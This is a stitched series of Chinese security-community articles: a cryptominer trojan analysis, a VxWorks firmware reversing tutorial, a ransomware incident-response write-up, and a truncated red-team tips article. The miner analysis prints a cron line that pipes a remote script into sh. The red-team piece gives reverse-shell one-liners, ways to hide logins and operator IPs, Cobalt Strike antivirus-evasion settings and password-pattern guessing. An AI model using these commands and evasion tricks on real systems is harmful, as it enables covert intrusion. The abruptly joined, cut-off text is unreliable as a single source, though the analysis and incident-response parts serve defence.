* * * * curl -sL https://x.co/6nPMR |
sh”，其中这个短链接还原后为https://xmr.enjoytopic.tk/12/r88.sh。若为非root账户，则不写计划任务。接着均会执行下载运行rootv2.sh或lowerv2.sh（基于当前账户是否为root来选择下载脚本）等一系列的操作。
木马的挖矿组件bashd和bashe在系统中执行后，毫不掩饰地就开始挖矿，CPU直接就占据好几百，简直粗暴。是不是应该考虑下根据机器的当前运行状态来“人性化挖矿”呢？
### 简单的进程保护行为
为了防被杀后还能继续挖矿，其通过写入定时任务的方式来实现简单的进程保护，通过一定时间间隔使用curl与wget远程下载shell脚本程序执行，该脚本的功能会执行本地路径下已存在的挖矿程序，若不存在则会重新下载挖矿程序执行。
其中该木马在多个路径都写入了定时任务来实现维持访问，包括：/var/spool/cron/root、/var/spool/cron/crontabs/root以及/etc/cron.d。前两个位置直接就在r88.sh这个文件中暴露了出来：
要清除该木马需要清除三个位置所有的定时任务，要不然该木马还会死灰复燃，重新被启动挖矿。
所幸该木马并没有感染传播的蠕虫属性，猜测是攻击者直接通过一般漏洞来进行的无差别攻击植入的挖矿downloader。经过对服务器进行渗透测试，确实发现了Apache
ActiveMQ Fileserver远程代码执行漏洞（CVE-2016-3088）与ActiveMQ
反序列化漏洞（CVE-2015-5254）。所以企业在上线服务之前最好还是先让安全从业人员先进行安全评估加固之后会更加安全一些。
## 木马查杀
> 1） 尝试杀掉bashd与bashe进程以及root.sh/rootv2.sh/lower.sh/lowerv2.sh与r88.sh这些shell进程
>
> 2） 清除掉/tmp目录下木马释放的文件：/tmp/bashd、/tmp/bashe、/tmp/root.sh、/tmp/rootv2.sh
> 、/tmp/r88.sh、/tmp/pools.txt、/tmp/config.json等
>
> 3）
> 清除3个位置的定时任务：/var/spool/cron/root、/var/spool/cron/crontabs/root以及/etc/cron.d
对应的自动查杀脚本如下
#!/bin/bash
for ((i=1;i>0;i++))
do
ps -ef | grep "/tmp/bashd -p bashd" | grep -v grep | awk '{print $2}' | xargs kill
ps -ef | grep "/tmp/bashe -p bashd" | grep -v grep | awk '{print $2}' | xargs kill
ps -ef | grep "bash /tmp/root.sh" | grep -v grep | awk '{print $2}' | xargs kill
ps -ef | grep "bash /tmp/r88.sh" | grep -v grep | awk '{print $2}' | xargs kill
ps -ef | grep "bash /tmp/rootv2.sh" | grep -v grep | awk '{print $2}' | xargs kill
ps -ef | grep "bash /tmp/lower.sh" | grep -v grep | awk '{print $2}' | xargs kill
ps -ef | grep "bash /tmp/lowerv2.sh" | grep -v grep | awk '{print $2}' | xargs kill
rm /tmp/bashd /tmp/bashe /tmp/config.json /tmp/root.sh /tmp/rootv2.sh /tmp/r88.sh /tmp/pools.txt -r
rm /var/spool/cron/root /var/spool/cron/crontabs/root /etc/cron.d/root
done
## 2．木马核心代码分析
### 木马整体编写逻辑
该木马使用Linux系统的shell脚本编写Downloader，使用curl与wget命令发起网络请求下载木马的其他组件，虽然代码可被轻易分析，但是编写成本和门槛降低，这也是当前恶意代码使用脚本语言编写的一个趋势。
该木马一共涉及多个脚本与可执行文件：
## 配置文件
bashe的config.json配置文件：
config.json这个配置文件中显示其矿池地址为pool.supportxmr.com:80，
用户为：
46TCcaaDn4LXkWZ1EGKBkzcWsTm32Mmy8a2VWqL8pGhRPf65GmUdkZWbrLVYNhFaucWXjU5aJqMraLMEoXq53GHYJPv3LP6
bashd的pools.txt配置文件：
该配置文件中显示器矿池地址为pool.supportxmr.com:80，钱包地址为：
46TCcaaDn4LXkWZ1EGKBkzcWsTm32Mmy8a2VWqL8pGhRPf65GmUdkZWbrLVYNhFaucWXjU5aJqMraLMEoXq53GHYJPv3LP6，矿池密码为bashe。
### r88.sh代码分析
r88.sh首先判断当前用户是否为root账户，若是则下载并执行root.sh，若下载执行失败则会下载执行rootv2.sh，两者代码一样；若非root账户，那么则下载并执行lower.sh，若下载失败则下载执行lowerv2.sh，root.sh与rootv2.sh两者代码一致。下图是r88.sh的完整代码截图。
### lowerv2.sh代码分析
lowerv2.sh是在非root权限下才会被执行的downloader脚本，代码中有两个函数：kills和downloadyam，隔600s循环执行。
Kills函数用于删除其他同行的挖矿木马的文件并kill进程，真是一山不能容二马的节奏啊。
其中downloadyam函数，用于下载挖矿程序bashd和bashe以及对应的配置文件并执行挖矿程序。
### lower.sh代码分析
若当前用户是非root权限，r88.sh会作为下载器下载该脚本，若是其下载执行失败，那么就会选择下载lowerv2.sh。两个脚本完全一样，只是为了在下载失败时作为替代的保险操作。
### rootv2.sh代码分析
rootv2.sh的代码与lowerv2.sh的代码完全一样，只是rootv2.sh的代码多了两行注释：
猜测是作者本来想在rootv2.sh中加入写crontab的代码的，可是最后没有加上，故rootv2.sh与lowerv2.sh代码当前是完全一样的。
### root.sh代码分析
当前用户若是root权限，root.sh是r88.sh下载首选，在下载root.sh失败的情况下才会选择下载rootv2.sh，两个文件的代码是完全一致的。r88.sh的代码片段如下：
## Bashe代码分析
该ELF可执行文件静态编译造成程序达到20m，通过对其代码分析发现跟很多挖矿木马一样使用到了开源的挖矿代码，该程序使用的开源挖矿项目在：<https://github.com/fireice-uk/xmr-stak-cpu>，是一个通用的挖矿项目，支持CPU，AMD与NVIDIA
GPU，用于挖“门罗币”。下图可见该可执行文件中多处使用引用的代码：
通过对比github上的代码：
可确定其是基于开源代码xmr-stak 2.4.2编写的一个针对门罗币的挖矿木马。
### Bashd代码分析
该木马用于针对“门罗币”挖矿的组件，x64架构的ELF格式文件。通过代码相似性分析可确定该程序是基于xmrig
2.5.2开源项目开发的一个基于CPU的针对Monero（XMR）的挖矿木马。
该项目在：<https://github.com/xmrig/xmrig>
## 3．总结
该挖矿木马并没有使用很多高级的防查杀技术，也没有广泛传播的蠕虫属性，仅仅使用定时任务来实现简单的进程保护，通过无差别攻击进行“抓鸡”植入木马，而且直接使用shell脚本编写的下载器加上开源的挖矿代码就开始“抓肉鸡”挖矿，由此可见现在对于挖矿木马的门槛在降低，但是这样简单的操作就足以严重危害网络的可用性与安全性。
关于挖矿木马如何防范与其他恶意代码以及入侵事件如何防范一样，实际上均是老生常谈的话题，最重要的一点还是企业需要正视网络安全的重要性，及时对系统以及应用打补丁，定期组织安全人员进行服务器的维护，提高企业员工的安全意识等等。
## 4．IoC
> [http://abcde.sw5y.com](http://abcde.sw5y.com/)
>
> <http://abcde.sw5y.com/l2/lowerv2.sh>
>
> <http://abcde.sw5y.com/l2/rootv2.sh>
>
> <http://abcde.sw5y.com/l2/pools.txt>
>
> <http://abcde.sw5y.com/l2/bashd>
>
> <http://abcde.sw5y.com/l2/bashe>
>
> <https://xmr.enjoytopic.tk/12/r88.sh>
>
> [https://xmr.enjoytopic.tk](https://xmr.enjoytopic.tk/)
8965edd7205ffc4a7711313715f1621a7817621a0db03245022fc6e8b2ae8642
e3b0296ddec24cc0d7ef27b4896a0616f20394cb0293b22c1ac744c530451b47
27fbcee0f3f007e846ec4367c6ef55c8d2d790f22b12d551b0df93c369c5cb76
f90bada1b2562c3b7727fee57bd7edf453883219a2ee45923abbd539708236b0
0122604e4d65b181ad9fbd782743df6dafe6371bcf24638eb2d4aa962a272015
3d75b68b05aa00cb8ace5c27b35341a5c33c14c547313f04afa8bc5193366755 | 社区文章 |
**作者：小黑猪（朱文哲）@银河安全实验室
公众号：[银河安全实验室](https://mp.weixin.qq.com/s/lDZWjgAoJmD141ppd8DjgA "银河安全实验室")**
VxWorks
操作系统是美国WindRiver公司于1983年设计开发的一种嵌入式实时操作系统（RTOS），它以其良好的可靠性和卓越的实时性被广泛地应用在通信、军事、航空及航天等高精尖技术领域中。2012年8月登陆的好奇号，以及近日成功降落火星的洞察号均使用了VxWorks系统。
本文将以施耐德昆腾系列PLC的NOE-711以太网模块的固件为例，讲解一下基于VxWorks操作系统的嵌入式设备固件的一些常用分析方法。
### 1\. 固件提取
通常我们能够通过设备厂商的官网获取到设备固件的升级包，从该升级包中将真正的固件进行提取后才能进行分析。提取固件的常用方法是使用Binwalk等二进制分析工具对固件升级包进行自动化分析，待确认升级包类型后再进行固件提取或其他操作。
通过Binwalk进行自动分析可以发现，NOE 771模块的升级包NOE77101.bin中内嵌了一个使用zlib压缩的文件。
通过调用Binwalk的-e参数进行自动提取后，Binwalk会把自动提取后的文件以偏移地址命名并存储在特定的目录中。
继续使用Binwalk对提取的385文件进行分析可以确认，该文件的确是我们所需要分析的VxWorks固件，因此提取的385文件也就是我们需要分析的固件文件了。
### 2\. 分析固件内存加载地址
为了对VxWorks系统固件进行逆向分析，我们首先必须要知道固件在内存中的加载地址。加载地址的偏差会影响到一些绝对地址的引用例如跳转函数表、字符串表的引用等。
下图是VxWorks系统在PowerPC架构下的内存分布图，如图所示VxWorks的系统固件将会被加载到一个由BSP (Board Support
Package)定义的内存地址中。
#### 2.1 方法一：通过封装的二进制文件头直接识别加载地址
某些设备的固件会使用某种格式进行封装，比较常见的是使用ELF(executable and linkable
format)格式进行封装。采用ELF格式封装后的文件头部有特定的数据位记录了该固件的加载地址，因此针对该情况我们可以直接使用greadelf等工具直接读取ELF文件头，从而直接获取到固件的加载地址，此外IDA也能直接识别ELF格式封装的VxWorks固件，无需额外处理即可进行自动化分析。
#### 2.2 方法二：分析固件头部的初始化代码，寻找加载地址的特征
在很多情况下我们拿到的固件是没有采用ELF格式封装的，这时就需要我们通过对固件的某些特征进行分析来判断具体的加载地址。还是以施耐德的NOE 711固件为例,
在具体分析某个固件时首先我们需要知道目标设备的CPU架构，具体可以如下图所示通过 **binwalk -A**
指令来对固件的CPU架构进行分析，此外也可以用 **binwalk -Y**
指令来调用capstone反汇编引擎来进行辅助判断，不过我实际测试下来存在一些误报的情况会把NOE 711的固件识别成arm架构的。
在得知目标CPU架构后就可以使用IDA加载固件并对其代码进行初步分析。
下图是默认加载后的IDA界面，仅仅分析出了极少数的函数。接下来就需要根据固件头部的这段代码来寻找加载地址的特征。
在固件头部有如下图所示的一段有趣的代码，在对r1和r3寄存器进行赋值后进行了跳转。
下图是PowerPC的寄存器用途说明，从图中可以看到R1寄存器是栈指针，而R3寄存器则是第一个参数。
现在回到我们之前看的固件头部代码处，这段代码相当于是先将栈地址设置为0x10000，将第一个参数(r3寄存器)设置为0x0，随后在栈上开辟0x10个字节的空间后跳转到当前地址+0x1cd34处执行。
根据VxWorks官网文档对对内存布局的描述， **Initial Stack** 是 **usrInit** 函数的初始化栈。
而 **usrInit** 函数则是VxWorks系统引导后运行的第一个函数，再结合之前我们分析的那段代码，可以基本确定在大部分情况下第一个跳转的地址就是
**usrInit** 这个函数的地址。
随后我们再回忆一下之前看到的VxWorks
PowerPC内存布局图可以发现，初始化栈的地址同时也是固件的内存加载地址，因此r1寄存器指向的0x10000就是我们所寻找的固件加载地址。
#### 2.3 方法三：基于bss区数据初始化代码的特征，计算加载地址
另一个分析固件加载地址的常用方法是，找到bss区域的初始化代码后间接计算出固件加载地址。bss(Block Started by
Symbol)区在VxWorks系统中主要用于存储一些当前未赋值的变量,在系统启动过程中VxWorks会使用 **bzero**
函数对bss区的数据进行清零 。
如下图所示我们可以得知VxWorks固件自身有三个section， **text、 ** _*data_
*以及**bss**这三个部分共同组成了VxWorks固件。
从下图所示的内存布局中可以看到bss区紧跟着固件的text和data段之后，因此只要我们找到bss区清零的函数，分析出清零函数的结束位置及后将其减去固件文件的大小即可获得固件的内存加载地址。
接下来我们再看一下VxWorks中的 **userInit** 函数，从下图可以看到 **usrInit**
除了是系统引导后执行的第一个函数外，在这个函数中还会首先对bss区的数据进行清理。
对 **usrInit** 这个函数进行查看后，可以发现其中有不少的bl跳转函数。根据 **usrInit**
的描述，第一个跳转的函数就是负责初始化BBS区的函数。
下图是BSS初始化函数的代码，结合PowerPC的寄存器用途可知r3和r4寄存器分别是函数 **sub_18D59C** 的两个参数。r3的值为
**0x339418** , r4的值为 **0x490D2C - 0x339418 = 0x157914** 相当于长度。因此我们可以得知
**0x339418** 就是bss区的起始地址， **0x490D2C** 就是bss区的结束地址。
在得到bss区结束地址后，我们就可以进一步的计算出固件的加载地址，不过使用这个方法有一个前提条件就是提取出的固件文件本身是完整的，如果提取出的固件文件不完整这个方法则会失效。
上面介绍了三种比较常用的VxWorks固件加载地址分析方法，此外还有通过焊接UART接口查看系统引导过程的串口输出等各种其他非常规手段。在分析出固件加载地址后就可以使用新的加载地址重新加载固件进行分析了
下图是Windows下的IDA6.8中重新加载后固件的对比图，Mac下的IDA 在修复了加载地址后还是只能关联识别出很少的函数。
### 3\. 利用符号表修复函数名
虽然IDA此时能够正确的识别函数及其调用关系，但依然无法自动识别出函数名，这对固件的分析工作造成了很大的阻碍。
此时可以查看固件在编译时是否编入了符号表，如固件编入了符号表那么我们就可以利用符号表中的内容来修复IDA中所显示的函数名。
通过使用binwalk可以帮助我们辅助分析VxWorks固件中是否编入了符号表，并识别出符号表在固件中的位置。如下图所示binwalk识别出的符号表地址在文件偏移
**0x301E74** 处。
如下图所示，VxWorks
5系列的符号表有他独特的格式，他以16个字节为一组数据，前4个字节是0x00，之后是符号名字符串所在的内存地址，后4个字节是符号所在的内存地址，最后4个字节是符号的类型，例如0x500为函数名。
基于符号表的特征，我们能够轻松的获取到固件中符号表的起始及结束位置。此时我们就可以使用IDA的api来修复函数名，使用加载地址0x00重新加载固件后使用如下图所示的Python脚本即可进行修复。
完成函数名修复后的IDA界面如下图所示，通过修复符号表IDA识别出了8000多个函数。至此VxWorks系统固件的预处理工作就全部完成了，现在我们就可以根据函数名来对一些关键服务的代码进行静态分析了。
### 4\. 固件分析
在完成上述的一些预处理工作后，一个固件分析的入手点就是查看例如 **loginUserAdd** 等关键函数的调用关系。如下图所示
**loginUserAdd** 函数的用途是在登录表中添加一个用户，这个账号可以用于登录例如telnet及ftp等服务。
通过分析 **loginUserAdd** 函数的调用，可以看到在 **usrAppInit** 等函数中均调用了 **loginUserAdd** 函数。
再进一步查看 **usrAppInit** 函数可以发现在这个函数中所添加的用户及密码哈希。此类方法也是发现后门账号的有效手段之一。
此外还可以关注某些服务的初始化函数，例如在 **usrNetAppInit** 函数中就可以发现许多网络服务的初始化函数调用。
至此VxWorks固件分析的常用方法就介绍完毕了，通过使用类似的分析方法，我们也能够在基于VxWorks的其他嵌入式设备的固件中发现一些有趣的信息，下面是其中的两个例子。
### 5\. 引用
* [测试附件下载地址](https://download.schneider-electric.com/files?p_enDocType=Firmware+-+Updates&p_File_Name=140NOE77101+For+Non+Unity+Users+V6.4.zip&p_Doc_Ref=140NOE77101+Exec+and+Release+Notes+For+Non+Unity+Users)
* [Developing PowerPC Embedded Application Binary Interface (EABI) Compliant Programs](http://101.96.10.63/class.ece.iastate.edu/arun/CprE281_F05/lab/labw11a/Labw11a_Files/eabi_app.pdf)
* [Reference Materials VxWorks for PowerPC](http://www.vxdev.com/docs/vx55man/vxworks/ppc/powerpc.html)
* [usrConfig](http://www.vxdev.com/docs/vx55man/vxworks/ref/usrConfig.html)
* [loginLib](http://www.vxdev.com/docs/vx55man/vxworks/ref/loginLib.html#loginUserAdd)
* * * | 社区文章 |
前几天做了人生中的第一次应急响应，客户中了phobos家族的勒索病毒，主要传播方式为RDP爆破。客户方面已经进行了杀毒，应急的主要目的是进行一个溯源分析，判断病毒的扩散过程和传播途径，下面对这次的应急响应进行一下总结，并且通过这次应急对window的应急响应做一个总结
# 0x01 应急响应过程
客户在2020.8.28凌晨3点左右爆发了勒索病毒，感染了近10台服务器。主要目的就是溯源，找到最先是那台服务器中招的，并且判断一下，中的是哪个家族的勒索病毒。在溯源过程中分析的服务器内网ip如下
10.2.200.101
10.2.200.31
10.1.1.31
10.1.33.37
## 判断勒索病毒家族
勒索病毒截图如下，通过勒索病毒界面，加密文件后缀以及邮箱联系方式可以判断该病毒是phobos家族勒索病毒，目前无公开的解密方式，主要通过支付赎金方式解密。该病毒主要的传播方式为RDP爆破，如果服务器存在弱口令则比较容易感染该病毒。
## 对10.2.200.101进行排查
查看10.2.200.101服务器日志并进行日志分析。
通过Log Parser进行日志分析
LogParser.exe -i:EVT -o:datagrid "SELECT TimeGenerated,EXTRACT_TOKEN(Strings,8,'|') AS LoginType,EXTRACT_TOKEN( Strings,5,'|') AS USERNAME,EXTRACT_TOKEN(Strings,17,'|') AS ProcessName,EXTRACT_TOKEN(Strings,18,'|') AS Client_IP FROM 'D:\工作\项目\xxxx\服务器日志\10.2.200.101\Security.evtx' WHERE EventID='462
4' AND EXTRACT_TOKEN(Strings,18,'|') NOT LIKE '%-%' AND ( EXTRACT_TOKEN(Strings,8,'|')='10' or EXTRACT_TOKEN(Strings,8,'|')='10') ORDER BY TimeGenerated DESC"
//Log Parser具体使用方法后文进行叙述
发现28日3时52分和2时15分病毒通过RDP爆破的方式登录目标服务器，源IP为10.2.0.1。经过排查，10.2.0.1为某信防火墙，确认访问流量经过防火墙时进行了源地址转换。所以进一步查看防火墙日志。
通过查看防火墙流量日志发现在28日4时1分的时候10.1.1.31经过防火墙访问10.2.200.101（经排查确认，防火墙时间比服务器时间晚9分钟）
## 对10.2.200.31进行排查
和对10.2.200.31分析的步骤相同，查看windows日志
发现流量也是经过10.2.0.1进行RDP登录的，查看防火墙流量日志
通过查看防火墙流量日志发现在28日3时17分的时候10.1.1.31经过防火墙访问10.2.200.31，时间同样偏差9分钟，这个流量为RDP登录成功流量。所以10.1.1.31通过RDP的方式成功登录10.2.200.31
## 对10.1.1.31进行排查
经过分析发现10.2.200.101和10.2.200.31都是被10.1.1.31进行RDP爆破的，所以10.1.1.31是较早感染勒索病毒的机器，需要对10.1.1.31进行分析溯源更早感染病毒的机器。
溯源到10.1.1.31查看windows日志，但是10.1.1.31服务器已经被相关工作人员从虚拟化上删除，无法查看日志，不能进行溯源
## 通过态势感知设备发现10.1.1.31踪迹
因为10.1.1.31被从磁盘上删除了，所以这条线索就断了。现在唯一的方法就是继续分析其他服务器日志，看看有没有不是被10.1.1.31攻击，而是被其他ip攻击的服务器，继续一步一步向前进行溯源。
但是客户说内网中部署了某服的态势感知设备，所以我去看了一下态势感知记录的数据，通过对态势感知设备进行分析，很幸运的发现10.1.1.31遭到了10.1.33.37的RDP爆破行为
追溯10.1.33.37的行为，发现10.1.33.37存在异常行为，主要是频繁扫描内网3389端口，以及对内网进行RDP爆破
具体10.1.33.37行为记录如下图
经过排查确认10.1.33.37只有对外攻击的行为，没有收到攻击（如RDP爆破）的行为。所以确认10.1.33.37是第一台感染勒索病毒的主机。
## 总结
由于10.1.33.37为研发人员个人主机，且通过与相关人员沟通发现，该PC使用者有下载各类破解软件的习惯，所以确认是由于研发人员主机感染勒索病毒，导致勒索病毒在内网中横向扩散。客户那边不仅有勒索病毒，还有大量蠕虫病毒，分析日志的时候发现了大量SMB爆破的行为。
附勒索病毒入侵过程脑图：
# 0x02 Window应急响应
## window入侵排查
1. 查看开启的服务以及服务对应的端口
netstat -ano
//windows下命令窗口输入netstat -ano即可查看端口使用情况，如果要查看指定端口是否被占用可以使用命令netstat -ano|findstr 端口号，例如要查看8080端口号是否已经被占用就使用命令netstat -ano|findstr 8080 如果结果为空则说明没有被使用，如果有值则说明已经被使用，最后一列为使用8080端口号的进程ID。
tasklist | findstr “PID” //根据netstat 定位出的pid，再通过tasklist命令确认端口对应的进程
1. 查看进程
查看进程方法：
（1）开始--运行--输入msinfo32，依次点击“软件环境→正在运行任务”就可以查看到进程的详细信息，比如进程路
径、进程ID、文件创建日期、启动时间等
（2）使用Process Explorer 查看进程
（3）D盾查看进程
1. 启动项分析
使用Autoruns进行启动项分析
## window系统日志分析
window日志分为系统日志，应用程序日志和安全日志。在应急溯源中，重点关注安全日志
日志默认保存位置
系统日志：C:\Windows\System32\winevt\Logs\System.evtx
应用程序日志：C:\Windows\System32\winevt\Logs\Application.evtx
安全日志：C:\Windows\System32\winevt\Logs\Security.evtx
1. 不同事件对应不同的ID，可以通过过滤ID快速浏览事件
事件ID | 说明
---|---
4624 | 登录成功
4625 | 登录失败
4634 | 注销成功
4647 | 用户启动的注销
4672 | 使用超级用户/管理员用户进行登录
4720 | 创建用户
1. 每个成功登录的事件都会标记一个登录类型，不同登录类型代表不同的方式
登录类型 | 描述 | 说明
---|---|---
2 | 交互式登录（Interactive） | 用户在本地进行登录
3 | 网络（Network） | 常见的情况就是连接到共享文件夹或共享打印机时，如SMB爆破——蠕虫病毒
4 | 批处理（Batch） | 通常表明某计划任务启动
5 | 服务（Service） | 每种服务都被配置在某个特定的用户账号下运行
7 | 解锁（Unlock） | 屏保解锁。
8 | 网络明文（NetworkCleartext） | 登录的密码在网络上是通过明文传输的，如FTP
9 | 新凭证（NewCredentials） | 使用带/Netonly参数的RUNAS命令运行一个程序
10 | 远程交互（RemoteInteractive） | 通过终端服务、远程桌面或远程协助访问计算机，如RDP爆破——勒索病毒
11 | 缓存交互（CachedInteractive） | 以一个域用户登录而又没有域控制器可用
1. window安全日志分析的常用手法
一般是在事件查看其中，对日志时间ID进行筛选。比如在勒索病毒的应急响应中，我们通过事件ID-4624对登录成功的日志进行筛选，因为勒索病毒一般是通过RDP爆破的方式进行传播的，所以我们重点关注登录类型为10的登陆成功的日志，重点关注登录成功的时间与勒索病毒加密文件的时间是否对应，如下图
1. 推荐一个window日志审计工具：Log Parser
Log Parser（是微软公司出品的日志分析工具，它功能强大，使用简单，可以分析基于文本的日志文件、XML 文件、
CSV（逗号分隔符）文件，以及操作系统的事件日志、注册表、文件系统、Active Directory。它可以像使用 SQL 语句
一样查询分析这些数据，甚至可以把分析结果以各种图表的形式展现出来
下载地址：<https://www.microsoft.com/en-us/download/details.aspx?id=24659>
基本使用语法
Logparser.exe –i:EVT –o:DATAGRID "SELECT * FROM c:\xx.evtx"
查询登录成功的所有事件
LogParser.exe -i:EVT –o:DATAGRID "SELECT * FROM c:\Security.evtx where EventID=4624"
提取登录成功的用户名和IP
LogParser.exe -i:EVT -o:datagrid "SELECT TimeGenerated,EXTRACT_TOKEN(Strings,8,'|') AS LoginType,EXTRACT_TOKEN( Strings,5,'|') AS USERNAME,EXTRACT_TOKEN(Strings,17,'|') AS ProcessName,EXTRACT_TOKEN(Strings,18,'|') AS Client_IP FROM 'C:\Security.evtx' WHERE EventID='46
24'
查询登录成功，切登录类型为10的用户名和IP
LogParser.exe -i:EVT -o:datagrid "SELECT TimeGenerated,EXTRACT_TOKEN(Strings,8,'|') AS LoginType,EXTRACT_TOKEN( Strings,5,'|') AS USERNAME,EXTRACT_TOKEN(Strings,17,'|') AS ProcessName,EXTRACT_TOKEN(Strings,18,'|') AS Client_IP FROM 'C:\Security.evtx' WHERE EventID='46
24' AND EXTRACT_TOKEN(Strings,18,'|') NOT LIKE '%-%' AND ( EXTRACT_TOKEN(Strings,8,'|')='10' or EXTRACT_TOKEN(Strings,8,'|')='10') ORDER BY TimeGenerated DESC"
# 0x03 写在最后
本篇文章十分基础了，写的都是最基本的应急响应，本来还想多写一下window中招勒索和蠕虫的实战情况，但是手里没有现成的例子，所以等到以后应急的时候遇到再写相关文章吧。最后，感叹一下自己太菜了，大佬们勿喷。 | 社区文章 |
作者：风起@WgpSec团队
# 前言
大家好，我是风起，相信不少小伙伴都阅过本系列的前作
[红队实战攻防技术（一）](https://www.anquanke.com/post/id/249994)，前作以一次真实的红队攻防案例作为展开，引出一系列的知识点及渗透时的一些小Tips。而近期因为相关法规，我们不能再以真实攻防案例作为讲解，所以本章将以攻防思路为主展开讲解，尽量以本地环境复现，望大家谅解。
作为本系列的续章，希望能够面向红蓝双方进行讲解，在进行一些攻击方式分析时，同样也会引起防守方对于攻击的思考。红蓝对抗的意义也正是在这种持续的攻击下不断寻找防御的平衡点，故
**未知攻，焉知防** 。
**本文仅做安全研究作用，切勿违法乱纪** 。
# 幽灵登录
`ssh -T [email protected] /usr/bin/bash -i`
相信熟悉红队的小伙伴，不难看出，上面这条命令在日常渗透中，进行登录操作会经常使用，因为他不分配伪终端的方式而不会被w和last等命令记录。所以在某些时候，如果防守方在上机排查时，仅查看日志发现没有异常登录，却没有注意到是否存在异常网络连接时，就会判断为误报，给攻击者可乘之机。
通过上图，大家可以看到没有任何的登录信息，同样lastlog也不会记录本次登录行为。那么这种方式没有办法排查吗？其实不是的，因为攻击者在连接22端口时，并不是没有痕迹，只要连接SSH端口就一定存在记录。
如图，我们从lsof以及ss命令结果中发现了连接服务器的恶意IP地址，那么这里留一个疑问，攻击者还有什么办法可以规避这样的排查方式呢？其实，在全国HW中，常见的隐匿个人主机IP地址的方式有许多，例如：肉鸡代理流量、VPN、基础隐匿设施等手段。而在攻击溯源的过程中，防守方通过攻击肉鸡服务器获取权限从而溯源攻击者信息的手段屡试不爽，除非攻击者愿意在拿下肉鸡权限后长期维护，不然一些水平不错的溯源人员也可以通过相同的方式拿下权限追溯攻击源，当然很少有攻击者愿意花费时间成本在一个肉鸡上，基本上都是用一次换一个。
但是不得不承认，时至今日，肉鸡仍然是非常有效的隐匿及攻击方式。
# SSH隧道隐匿
目前的内网渗透中，市面上有着大量各种各样的代理工具，例如：frp、ew、nps、venom、regeorg等等，根据不同的场景使用的协议也各不相同，也有DNS、ICMP、RDP这些非常规协议代理的工具。但是这些代理工具基本上都被一些杀软和态感所敏感，基本上在非免杀状态下就是落地被杀。所以也更加推荐大家使用一些系统自带的工具进行代理流量，例如：SSH隧道代理，Windows
netsh、iptables等。本段将着重讲解SSH隧道代理的Tips。
这里我们可以着重看一下箭头所指的地方，通过SSH隧道代理的方式，抛开我们VPS用户密码被监测到不谈，真实IP也一览无余的在网络进程以及相关连接中，老道的防守方成员可以很直观的发现是一起
**【SSH隧道代理事件】** ，但是这里也不是我们所需要关注的，毕竟我们不能把所有防守方当傻子，要正视对手的能力。
这里我们采取Nginx反向代理的方式，具体实现方式这里不多赘述，感兴趣的同学可以关注Ngrok或者Heroku等方式的配置，也可以自己使用匿名域名及服务器搭建。
通过上图我们可以看到使用反向代理的地址进行SSH隧道转发可以有效的隐匿真实的IP地址以及IP地址，注意这里的IP地址是Ngrok服务器的地址，从而实现了隐匿的效果。
# 反弹shell隐匿
在我们日常渗透Linux主机的时候，当碰到RCE漏洞的时候，需要进行反弹获取交互shell的时候，通常都会使用以下两条命令。
例1:
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.0.100:2333 > /tmp/s; rm /tmp/s
例2:
bash -c 'exec bash -i &>/dev/tcp/192.168.0.100/2333 <&1'
以上的两个例子可以说是我们日常渗透中最常用的两条反弹shell命令，当然例1的优点是他的流量是进行了加密的，在这种情况下反弹shell执行的命令是无法被流控监测到的，最多可能会报
**隐蔽隧道通信**
的异常事件，但是这种事件对于一个有一定规模的值守单位，真的是太正常了。每天都会发生成千上万起类似的误报，而像向日葵、teamview这一类的报警基本都是直接忽略的。
但是我们所需要注意的也正是这样的反弹方式，无论是例1还是例2我们都会发现都是不可避免的泄露了真实IP地址。其实这里的隐匿方式与上面的SSH隧道代理的原理是一样的。都是通过了反向代理的方式实现的，之前的文章中的渗透操作中也有使用这样的方式，然后有师傅咨询过，所以这里再拿出来冷饭热炒一下。
最终的效果如上图，可以看到反弹shell的地址为反向代理的域名，连接的端口为10075而实际上线的端口并不是这一个，这也仅仅是与前端服务器建立的网络连接，实际真正上线的为前端服务器转发给后端服务器的地址。
# CosbaltStrike Profile
相信绝大多数从事渗透工作的同学对于CosbaltStrike这个工具都不陌生，虽然目前一线的红队已经逐渐从CS转到一些小众的C2设施去，但是不置可否的是CS仍然是非常好用的工具，它所提供的Profile自定义流量特征的功能，如果配置得体搭配域前置技术实现高信誉域名结合，所制造的效果基本上与正常的流量没有差异。
灵活的编写Porfile是非常行之有效的，也不仅仅只是应用于伪造隐匿，在做免杀时，通过配置相关的混淆参数也可以过卡巴斯基的流量查杀，在之前测试免杀时，基本上静态已经过了，但是脚本仍然启动一会就被查杀了，这时通过配置CS
profile的以下两段代码解决。
通过配置 **set obfuscate "true";** 高度混淆内存中的代码绕过。
而对于我们使用域前置的方式，假设profile不进行任何配置，则会告警。如下图
这时通过配置profile中stage的set cleanup "true";即可解决。
这里风起哥将自己编写的profile文件传到了Github上，感兴趣的小伙伴可以自行下载进行个性化配置。
**Github:<https://github.com/wikiZ/service_cobaltstrike>**
# 运维惯性密码
在很多时候我们横向拿下主机服务也不一定非要通过正面打漏洞的方式，在某次渗透项目中，我们通过推测运维密码习惯的方式拿下了23台Redis数据库，起初通过配置文件只发现了一个redis数据库密码，但是本机上部署有大量的redis数据库，但是通过对这些redis数据库的端口号与密码分析得到了一个规律。
**zzRedis63902020** 像这个密码，不难猜测密码为前后缀固定格式，中间四位为本机端口号，然后重新组合登录，然后尝试登录，发现确实如此。
然后，懂得都懂。
值得思考的是，这样的密码组合方式拓宽权限的方式真的不要太多了。毕竟运维也是人，不可能一个服务一个密码，但是安全管理规定也要执行，所以很多时候就出现了这些富有规律的密码。
所以像此类攻击获取的权限，也许不是防守方人不行，而真的是路不平了吧哈哈哈。
# 行为测绘
上面讲解了几个红蓝对抗中常碰到的一些Tips，其实就目前一些地方护网项目来看，与常规渗透的区别也并不是很大，所以上面讲的一些方式可能更加适用于全国HW行动中使用，因为无论是人员水准还是重视程度都差异非常大。
**但是不管在日常渗透中还是HW项目中，行为测绘都是非常行之有效的资产测绘手段。**
首先对于梳理企业资产，我们首先需要思考三个W，也就是who? what? where? 字面来看也就是谁的？什么？哪里?
而应用于红队，目前各级护网对于资产归属的划分其实比较严格，例如资产属于总集团还是二级单位或者子公司，是否与集团内网互通？都是需要思考以及确认的点。那么我们首先从who去思考再从what谁和where在哪里去收集，资产的所属单位以及相关的网络信息，例如使用的框架、部署的业务系统、服务、开放的端口、使用的开发语言、域名等等。
